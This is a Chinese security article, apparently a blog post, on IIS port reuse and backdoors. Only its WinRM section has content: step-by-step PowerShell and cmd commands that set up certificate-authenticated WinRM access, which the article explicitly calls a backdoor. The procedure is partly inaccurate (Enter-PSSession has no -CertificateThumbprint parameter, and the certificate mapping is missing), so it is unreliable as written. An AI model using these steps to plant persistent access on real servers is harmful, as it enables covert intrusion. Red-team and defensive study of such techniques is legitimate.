IIS 端口复用及后门研究

前言

端口复用

IIS 端口复用

IIS后门

实战

Winrm + 证书认证

在命令提示符(cmd)中启用 WinRM 服务器上的证书身份验证,可以使用以下命令:

winrm set winrm/config/service/auth @{Certificate="true"}
这个命令将启用 WinRM 服务器上的证书身份验证。启用证书身份验证后,WinRM 服务器将验证客户端证书以确保客户端的身份。如果客户端证书不受信任或无效,则连接将被拒绝。

注意:运行此命令需要管理员权限。

另外,如果你想禁用 WinRM 服务器上的证书身份验证,可以使用以下命令:

winrm set winrm/config/service/auth @{Certificate="false"}
这个命令将禁用 WinRM 服务器上的证书身份验证。

为了配置 WinRM 证书认证设置后门,你需要进行以下步骤:

  1. 在运行 WinRM 的服务器上,生成一个自签名证书。

你可以使用 PowerShell cmdlet New-SelfSignedCertificate 来生成自签名证书。例如,以下命令将生成一个有效期为 10 年的自签名证书:

New-SelfSignedCertificate -Subject "CN=MyServer" -CertStoreLocation "Cert:\LocalMachine\My" -NotAfter (Get-Date).AddYears(10)

在运行 WinRM 的服务器上使用 cmd 生成自签名证书的方法如下:

  1. 打开命令提示符(cmd)。

  2. 输入以下命令来生成自签名证书:

makecert -r -pe -n "CN=MyServer" -b 01/01/2022 -e 01/01/2025 -sky exchange -ss My

其中,“CN=MyServer”是证书的主题名称,可以根据需要进行更改。此外,还可以更改证书的有效期和存储位置。

  1. 输入以下命令来查看新生成的证书:
certutil -store My

此命令将列出存储在“我的”证书存储区中的证书,包括刚刚生成的自签名证书。

现在,您已经在运行 WinRM 的服务器上生成了一个自签名证书。请注意,自签名证书不受受信任的根证书颁发机构的信任,因此在生产环境中使用自签名证书时,请确保将其导入到受信任的根证书颁发机构存储中或由受信任的根证书颁发机构颁发的证书。

  1. 将证书导出为 PFX 文件。

使用 PowerShell cmdlet Export-PfxCertificate 将证书导出为 PFX 文件。例如,以下命令将证书导出到 C:\MyCertificate.pfx 文件中:

Export-PfxCertificate -Cert "Cert:\LocalMachine\My\<Thumbprint>" -FilePath C:\MyCertificate.pfx -Password (ConvertTo-SecureString -String "<Password>" -Force –AsPlainText)

其中 <Thumbprint> 是证书的指纹,<Password> 是用于保护导出文件的密码。

  1. 在需要进行后门访问的客户端上,导入 PFX 文件。

使用 PowerShell cmdlet Import-PfxCertificate 将 PFX 文件导入到客户端计算机的证书存储中。例如,以下命令将 C:\MyCertificate.pfx 文件导入到客户端计算机的个人证书存储中:

Import-PfxCertificate -FilePath C:\MyCertificate.pfx -CertStoreLocation "Cert:\CurrentUser\My" -Password (ConvertTo-SecureString -String "<Password>" -Force –AsPlainText)
  1. 配置 WinRM 服务器以使用证书认证。

使用 PowerShell cmdlet Set-Item 配置 WinRM 服务器以使用证书认证。例如,以下命令将 WinRM 服务器配置为使用证书认证:

Set-Item -Path WSMan:\localhost\Service\Auth\Certificate -Value $true
  1. 在客户端上,配置 WinRM 以使用证书身份验证。

使用 PowerShell cmdlet Set-Item 配置客户端上的 WinRM 以使用证书身份验证。例如,以下命令将客户端上的 WinRM 配置为使用证书身份验证:

Set-Item -Path WSMan:\localhost\Client\Auth\Certificate -Value $true
  1. 使用 PowerShell 连接到 WinRM 服务器。

使用 PowerShell cmdlet Enter-PSSessionNew-PSSession,使用 -CertificateThumbprint 参数指定证书的指纹,连接到 WinRM 服务器。例如,以下命令将使用证书身份验证连接到 WinRM 服务器:

Enter-PSSession -ComputerName <ServerName> -Credential (Get-Credential) -CertificateThumbprint <Thumbprint>

其中 <ServerName> 是 WinRM 服务器的名称,<Thumbprint> 是证书的指纹。

以上是配置 WinRM 证书认证设置后门的步骤。请注意,这种做法可能会导致安全风险,请谨慎使用。

参考

  • https://paper.seebug.org/1004
  • https://paper.seebug.org/1692/